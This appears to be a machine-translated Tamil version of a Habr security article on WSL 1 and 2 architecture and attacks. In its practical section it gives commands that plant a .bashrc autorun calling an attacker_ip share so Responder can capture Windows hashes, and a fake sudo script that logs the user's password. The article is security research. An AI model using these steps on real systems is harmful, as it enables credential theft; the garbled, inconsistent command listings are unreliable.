WSL சோதனைகள். பகுதி 1

வணக்கம், ஹாப்ர்! OTUS அக்டோபரில் புதிய பாடத்திட்டத்தை அறிமுகப்படுத்துகிறது "லினக்ஸ் பாதுகாப்பு". பாடத்திட்டத்தின் தொடக்கத்தை எதிர்பார்த்து, எங்கள் ஆசிரியர்களில் ஒருவரான அலெக்சாண்டர் கோல்ஸ்னிகோவ் எழுதிய கட்டுரையை உங்களுடன் பகிர்ந்து கொள்கிறோம்.

WSL சோதனைகள். பகுதி 1

2016 இல், மைக்ரோசாப்ட் புதிய WSL தொழில்நுட்பத்தை IT சமூகத்திற்கு அறிமுகப்படுத்தியது (Wஇண்டோஸ் Sக்கான ubsystem Linux), இது எதிர்காலத்தில் சாதாரண மற்றும் மேம்பட்ட OS பயனர்களிடையே பிரபலத்திற்காக போராடும் முன்னர் சரிசெய்ய முடியாத போட்டியாளர்களை ஒன்றிணைப்பதை சாத்தியமாக்கியது: விண்டோஸ் மற்றும் லினக்ஸ். இந்த தொழில்நுட்பம் Linux ஐ இயக்க வேண்டிய அவசியம் இல்லாமல் விண்டோஸ் சூழலில் Linux OS கருவிகளைப் பயன்படுத்துவதை சாத்தியமாக்கியது, எடுத்துக்காட்டாக, Multi-boot ஐப் பயன்படுத்துகிறது. WSL ஐப் பயன்படுத்துவதன் நன்மைகளை விவரிக்கும் ஏராளமான கட்டுரைகளை Habr இல் காணலாம். இருப்பினும், துரதிர்ஷ்டவசமாக, இந்த கட்டுரையின் உருவாக்கத்தின் போது, ​​இயக்க முறைமைகளின் அத்தகைய கூட்டுவாழ்வின் பாதுகாப்பு குறித்த ஆய்வுகள் எதுவும் இந்த ஆதாரத்தில் காணப்படவில்லை. இதை சரி செய்யும் முயற்சியாக இப்பதிவு இருக்கும். கட்டுரை WSL 1 மற்றும் 2 கட்டமைப்புகளின் அம்சங்களைப் பற்றி பேசும் மற்றும் இந்த தொழில்நுட்பங்களைப் பயன்படுத்தி அமைப்புகள் மீதான தாக்குதல்களின் பல எடுத்துக்காட்டுகளை ஆராயும். கட்டுரை 2 பகுதிகளாக பிரிக்கப்பட்டுள்ளது. முதலாவது லினக்ஸ் மற்றும் விண்டோஸிலிருந்து முக்கிய தத்துவார்த்த தாக்குதல் முறைகளை வழங்கும். இரண்டாவது கட்டுரையில் சோதனைச் சூழலை அமைப்பது மற்றும் தாக்குதல்களை மீண்டும் உருவாக்குவது ஆகியவை அடங்கும்.

WSL 1: கட்டடக்கலை அம்சங்கள்

WSL பாதுகாப்பு சிக்கல்களில் மிகவும் துல்லியமான டைவ் செய்ய, துணை அமைப்பின் செயல்படுத்தலுடன் தொடர்புடைய முக்கிய நுணுக்கங்களைத் தீர்மானிக்க வேண்டியது அவசியம். WSL ஆல் தீர்க்கப்படும் முக்கிய பயனர் பணிகளில் ஒன்று Windows OS இயங்கும் ஹோஸ்டில் லினக்ஸ் டெர்மினல் மூலம் வேலை செய்யும் திறன் ஆகும். மேலும், லினக்ஸ் எக்ஸிகியூட்டபிள்களை (ELFs) நேரடியாக விண்டோஸ் சிஸ்டத்தில் இயக்கக்கூடிய வகையில், வழங்கப்பட்ட இணக்கத்தன்மை மிகவும் பூர்வீகமாக இருந்தது. இந்த இலக்குகளை அடைய, விண்டோஸ் 10 இல் ஒரு சிறப்பு துணை அமைப்பு உருவாக்கப்பட்டது, இது குறிப்பிட்ட கணினி அழைப்புகளின் தொகுப்பைப் பயன்படுத்தி லினக்ஸ் பயன்பாடுகளை இயக்க அனுமதிக்கிறது - இதனால், விண்டோஸில் லினக்ஸ் சிஸ்கால்களின் தொகுப்பை வரைபடமாக்க முயற்சி மேற்கொள்ளப்பட்டது. புதிய இயக்கிகள் மற்றும் புதிய செயல்முறை வடிவத்தைச் சேர்ப்பதன் மூலம் இது உடல் ரீதியாக செயல்படுத்தப்பட்டது. பார்வைக்கு கட்டிடக்கலை இப்படி இருந்தது:

WSL சோதனைகள். பகுதி 1

உண்மையில், லினக்ஸ் இயக்க முறைமையுடனான தொடர்பு பல கர்னல் தொகுதிகள் மற்றும் ஒரு சிறப்பு வகை செயல்முறை மூலம் ஒழுங்கமைக்கப்பட்டது - pico. மேலே உள்ள வரைபடத்திலிருந்து, ஹோஸ்டில் உள்ள லினக்ஸ் நிகழ்வில் இயங்கும் செயல்முறையானது பூர்வீகமாக இருக்க வேண்டும் மற்றும் வழக்கமான விண்டோஸ் பயன்பாடுகளைப் போன்ற அதே ஆதாரங்களைப் பயன்படுத்த வேண்டும் என்பதை நீங்கள் காணலாம். ஆனால் இதை எப்படி அடைவது? திட்டத்தில் டிராபிரிட்ஜ் விண்டோஸிற்கான செயல்முறைக் கருத்துக்கள் உருவாக்கப்பட்டன, அவை இயக்க முறைமையின் அனைத்து கூறுகளையும் (அதன் பதிப்பைப் பொறுத்து) மற்றொரு OS இன் பயன்பாட்டை இயக்குவதற்கு வழங்கின.

முன்மொழியப்பட்ட சுருக்கமானது இயக்க முறைமையில் (குறிப்பாக, விண்டோஸ்) கவனம் செலுத்துவதை சாத்தியமாக்கியது, இதில் மற்றொரு OS இன் செயல்முறை தொடங்கப்படும் என்று எதிர்பார்க்கப்படுகிறது, மேலும் ஒரு பொதுவான அணுகுமுறையை பரிந்துரைத்தது.

எனவே, பைக்கோ செயல்முறையில் உள்ள எந்தப் பயன்பாடும் விண்டோஸ் கர்னலைப் பொருட்படுத்தாமல் இயங்கலாம்:

  1. கணினி அழைப்புகளின் இணக்கத்தன்மை மற்றும் மொழிபெயர்ப்பின் சிக்கல்கள் சிறப்பு வழங்குநர்களால் தீர்க்கப்பட வேண்டும்;
  2. பாதுகாப்பு கண்காணிப்பு மூலம் அணுகல் கட்டுப்பாடு செய்யப்பட வேண்டும். மானிட்டர் கர்னலில் அமைந்துள்ளது, எனவே விண்டோஸுக்கு புதிய இயக்கி வடிவில் மேம்படுத்தல் தேவைப்பட்டது, இது அத்தகைய செயல்முறைகளுக்கு வழங்குநராக செயல்படும். முன்மாதிரி பைக்கோ செயல்முறை கீழே கொடுக்கப்பட்டுள்ளது:

WSL சோதனைகள். பகுதி 1

Linux கோப்பு முறைமை கேஸ்-சென்சிட்டிவ் கோப்பு மற்றும் கோப்பகப் பெயர்களைப் பயன்படுத்துவதால், WSL - VolFS மற்றும் DriveFS உடன் பணிபுரிய Windows இல் 2 வகையான கோப்பு முறைமைகள் சேர்க்கப்பட்டன. VolFS என்பது Linux கோப்பு முறைமையின் செயலாக்கமாகும், DriveFS என்பது விண்டோஸ் விதிகளின்படி செயல்படும் கோப்பு முறைமையாகும், ஆனால் கேஸ் சென்சிட்டிவிட்டியைத் தேர்ந்தெடுக்கும் திறனைக் கொண்டுள்ளது.

WSL 2

WSL 1 பல வரம்புகளைக் கொண்டிருந்தது, அவை அதிகபட்ச அளவிலான பணிகளைத் தீர்க்க அதைப் பயன்படுத்த அனுமதிக்கவில்லை: எடுத்துக்காட்டாக, இது 32-பிட் லினக்ஸ் பயன்பாடுகளை இயக்கும் திறனைக் கொண்டிருக்கவில்லை, மேலும் சாதன இயக்கிகளைப் பயன்படுத்துவது சாத்தியமற்றது. எனவே, 2020 இல், WSL 2 வெளியிடப்பட்டது, இது துணை அமைப்பை உருவாக்குவதற்கான அணுகுமுறையை மாற்றியது. WSL 2 என்பது WSL 1 இன் வள நுகர்வு பண்புகளுடன் பொருந்தக்கூடிய உகந்த மெய்நிகர் இயந்திரமாகும். இப்போது, ​​Windows OS பயனரால் தீர்க்கப்படும் சிக்கல்களைப் பொறுத்து, நீங்கள் Linux துணை அமைப்பின் தேவையான பதிப்பைத் தேர்ந்தெடுக்கலாம். சாத்தியமான பாதிப்புகளைத் தணிக்க, WSL 2 ஆனது Windows 10 இல் Hyper-V அடிப்படையில் செயல்படுத்தப்பட்டது. இந்த வடிவத்தில், Windows ஆனது Linux இயங்குதள கர்னலை தனித்தனியாக இயக்கும் திறனைக் கொண்டுள்ளது. WSL இன் பதிப்பு 1 பீட்டா அம்சமாக அறிமுகப்படுத்தப்பட்டது என்பதை நினைவில் கொள்வது மதிப்பு, இது இந்த பகுதியில் விண்டோஸ் மேம்பாட்டின் திசையைக் காண்பிக்கும், எனவே ஹைப்பர்-விக்கு மாறுவது தவிர்க்க முடியாதது. இறுதி கட்டிடக்கலை இதுபோல் தெரிகிறது:

WSL சோதனைகள். பகுதி 1

இந்த பதிப்பில், விண்டோஸ் மற்றும் லினக்ஸ் கர்னல்கள் அவற்றின் சொந்த ஆதாரங்களைக் கொண்டுள்ளன மற்றும் குறுக்குவெட்டு கோப்பு முறைமையில் மட்டுமே உள்ளது, ஆனால் இந்த குறுக்குவெட்டு முழுமையடையவில்லை. 9P நெறிமுறையைப் பயன்படுத்தி செயல்படும் கிளையன்ட்-சர்வர் ரேப்பர் மூலம் கோப்பு முறைமைகளுக்கிடையேயான தொடர்பு மேற்கொள்ளப்படுகிறது.

இன்று மைக்ரோசாப்ட் WSL 1 மற்றும் WSL 2 க்கு இடையில் மாறுவதற்கான திறனை வழங்குகிறது. இரண்டு பதிப்புகளும் பயன்பாட்டிற்கு கிடைக்கின்றன.

WSL பாதுகாப்பு

இந்த நேரத்தில், துணை அமைப்புகளுக்கு இடையிலான தகவல்தொடர்புகளைத் தாக்க முறையான OS கருவிகளைப் பயன்படுத்துவதற்கான சில அணுகுமுறைகளை விவரிக்கும் பல படைப்புகள் உள்ளன. எழுதும் நேரத்தில் தாக்குதல்களின் பொருத்தத்தை சரிபார்க்க அவர்களின் ஸ்கிரிப்ட்களைப் பயன்படுத்துவோம். தாக்குதல்கள் மற்றும் காட்சிகளின் பொதுவான பட்டியல்:

1. கோப்பு முறைமை செயல்படுத்தல்: அணுகல் உரிமைகள், பகிரப்பட்ட கோப்பகங்களின் கிடைக்கும் தன்மை/தரவு பரிமாற்ற வழிமுறைகள்.

அணுகல் விதிகளின் மீறல்களைக் கண்டறிய ஆராய்ச்சி நடத்தப்பட்டது Linux FS->Windows FS, Windows FS->Linux FS. இலக்கு OS க்குள் கொடுக்கப்பட்ட கோப்பை மாற்றும் திறனை ஆராய்ச்சி நிரூபித்துள்ளது. கோப்பு முறைமைகளின் ஒரு பகுதியை மாற்றவும், நகல்களை உருவாக்கவும் மற்றும் நீக்கவும் முயற்சிகள் மேற்கொள்ளப்பட்டன.

காட்சி:

  • A. விண்டோஸ் இயக்க முறைமையிலிருந்து தாக்குதல் - Linux OS இன் /etc கோப்பகத்திலிருந்து கோப்புகளை மாற்றுதல்.
  • பி. லினக்ஸ் இயக்க முறைமையிலிருந்து தாக்குதல் - கோப்பகங்களில் உள்ள கோப்புகளை மாற்றியமைத்தல்: C:Windows, C:Program Files, C:Users<User>

2. பிணைய அடுக்கை செயல்படுத்துதல்.

விண்டோஸில் உள்ள லினக்ஸ் இயக்க முறைமையிலிருந்து தாக்குதல்களின் எடுத்துக்காட்டுகளைப் பயன்படுத்தி ஆராய்ச்சி மேற்கொள்ளப்பட்டது. நெட்வொர்க் ஸ்டேக்கின் அம்சங்கள் பயன்படுத்தப்பட்டன, அதாவது, பல்வேறு ஆதாரங்களில் அங்கீகார வழிமுறைகள்.

காட்சி:

  • விண்டோஸ் சிஸ்டத்தில் ஆக்கிரமிக்கப்பட்ட போர்ட்டிற்கான அணுகலைத் திறக்கிறது
  • பொருத்தமான உரிமைகள் இல்லாமல் துறைமுகத்தைத் திறப்பது
  • விண்டோஸ் இயங்குதளத்தில் elf கோப்பைப் பயன்படுத்தி ரிவர்ஸ் ஷெல் இயங்குகிறது.

3. WSL துணை அமைப்பைப் பயன்படுத்தி தீங்கிழைக்கும் மென்பொருள் செயல்முறைகளின் துவக்கத்தை மறைத்தல்.

ஆராய்ச்சி ஒரு எளிய உண்மையை அடிப்படையாகக் கொண்டது - WSL 1 இன் விஷயத்தில், இயக்க முறைமையிலிருந்து முறையான வழங்குநரைப் பயன்படுத்தி செயல்படும் மற்றொரு கர்னலில் உள்ள நிகழ்வுகளை பாதுகாப்பு துணை அமைப்புகளால் இடைமறிக்க முடியாது. WSL 2 விஷயத்தில், நிகழும் நிகழ்வுகளைக் காண வழி இல்லை. இலகுரக மெய்நிகர் கணினியில் ஒரு தனி கர்னலில்.

காட்சி:

1) கணினிக்கான தொலைநிலை அணுகலுக்கான பயன்பாட்டைத் தொடங்கவும் மற்றும் பதிவுசெய்யப்பட்ட நிகழ்வுகளைப் பார்க்கவும்.

WSL 1 சோதனைகள்: ஹாஷ் இடைமறிப்பு (விண்டோஸ்)

இறுதியாக நாங்கள் நடைமுறை பகுதிக்கு வந்தோம். முதலில், நீங்கள் சோதனை சூழலை அமைக்க வேண்டும். விண்டோஸ் 10 2004 நிறுவப்பட்ட பெஞ்சில் அனைத்து சோதனைகளும் மேற்கொள்ளப்படும். உபுண்டு 18.04 படம் WSLக்கான இயக்க முறைமைப் படமாகத் தேர்ந்தெடுக்கப்பட்டது. படம் தற்செயலாக தேர்ந்தெடுக்கப்பட்டது, வேறு ஏதேனும் அதே வேலை செய்யும். நிலைப்பாட்டை அமைப்பதற்கான கட்டளைகள்:

நீங்கள் முதலில் துவக்க வேண்டும் powershell.exe நிர்வாகியாக.

WSL 1 க்கு நீங்கள் கட்டளைகளை இயக்க வேண்டும்:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • நிலைப்பாட்டை மறுதொடக்கம் செய்த பிறகு, நீங்கள் பாஷ் கட்டளையை அழைக்கலாம். எல்லாம் சரியாக வேலை செய்தால், விண்டோஸ் கன்சோலில் இதைப் போன்ற வெளியீட்டைக் காண்பீர்கள்:

    WSL சோதனைகள். பகுதி 1

    காளி லினக்ஸ் விநியோகத்தை தாக்குபவர்களின் இயந்திரமாகப் பயன்படுத்துவோம்; எல்லா இயந்திரங்களும் ஒரே உள்ளூர் நெட்வொர்க்கில் இருக்க வேண்டும்.

    விண்டோஸ் கணினியில் WSLக்கான சலுகையற்ற அணுகல் எங்களிடம் உள்ளது என்று வைத்துக்கொள்வோம். லினக்ஸில் இருந்து ஒரு கட்டளையை அழைப்பதன் மூலம் லினக்ஸ் இயங்குதளத்தைத் தாக்க முயற்சிப்போம். தாக்குதலைச் செயல்படுத்த, நாங்கள் ஒரு எளிய ஆட்டோரன் நுட்பத்தைப் பயன்படுத்துவோம் - லினக்ஸ் சூழலில் செயல்படுத்துவதற்கு எங்கள் ஸ்கிரிப்டைச் சேர்ப்போம். இதைச் செய்ய, நீங்கள் கோப்பை மாற்ற வேண்டும் .bashrc.

    WSL உடன் ஒரு கணினியில் நாங்கள் செயல்படுத்துகிறோம்:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    காளி லினக்ஸ் கணினியில் நாங்கள் இயக்குகிறோம்:

    1. Responder -I eth0 -rdvw

    விண்டோஸ் கணினியில், பாஷை துவக்குவோம்.

    காளி லினக்ஸ் கணினியில் முடிவுக்காக நாங்கள் காத்திருக்கிறோம்:

    WSL சோதனைகள். பகுதி 1

    எனவே, Linux கணினியில் கட்டளையை இயக்குவதன் மூலம் WSL துணை அமைப்பு மூலம் Windows பயனர் ஹாஷ்களைப் பெற்றோம்.

    WSL 1 சோதனைகள்: பயனர் கடவுச்சொல்லைப் பெறுதல் (லினக்ஸ் ஓஎஸ்)

    இன்னும் ஒரு பரிசோதனை செய்வோம். இந்த சோதனையின் போது நாம் கோப்பில் சேர்ப்போம் .bashrc லினக்ஸ் இயக்க முறைமை பயனர் கடவுச்சொல்லைப் பெற பல கட்டளைகள்.

    பாஷை துவக்கி கட்டளைகளை உள்ளிடுவோம்:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    தாக்குதலை வெற்றிகரமாக முடிக்க, பயனர் சாம் லினக்ஸ் டெர்மினலில் சூடோவை அழைக்க வேண்டும். இதற்குப் பிறகு, Linux OS பயனர் கடவுச்சொல் கோப்பில் இருக்கும் pass.txt:

    WSL சோதனைகள். பகுதி 1

    தாக்குதல்களை செயல்படுத்துவது கோட்பாட்டுத் தகவலுக்காக மட்டுமே கொடுக்கப்பட்டது.

    கட்டுரையின் அடுத்த பகுதி 9P நெறிமுறையை செயல்படுத்துவதை விவரிக்கும், இந்த நெறிமுறைக்கான ஸ்கேனரை உருவாக்குவதைக் கருத்தில் கொண்டு, அதைப் பயன்படுத்தி தாக்குதலையும் மேற்கொள்ளும்.

    பயன்படுத்திய இலக்கியங்களின் பட்டியல்

    WSL சோதனைகள். பகுதி 1

    மேலும் படிக்கவும்

    ஆதாரம்: www.habr.com

    கருத்தைச் சேர்